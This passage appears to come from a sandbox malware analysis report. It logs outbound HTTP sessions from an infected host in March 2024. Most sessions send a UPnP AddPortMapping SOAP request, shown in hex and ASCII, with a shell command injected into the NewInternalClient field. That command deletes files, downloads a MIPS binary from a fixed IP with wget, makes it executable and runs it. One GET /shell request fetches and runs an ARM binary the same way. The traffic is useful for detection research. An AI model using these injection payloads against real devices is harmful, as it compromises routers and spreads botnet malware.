3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:52.279550076 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:05.847114086 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      151192.168.2.1546394185.227.234.452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:38.850119114 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      152192.168.2.1546396185.227.234.452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:38.940912962 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      153192.168.2.1538678143.69.171.1205501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:41.247896910 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      154192.168.2.1546596185.220.226.3852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:46.520411015 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      155192.168.2.155927045.120.207.4952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:46.682161093 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
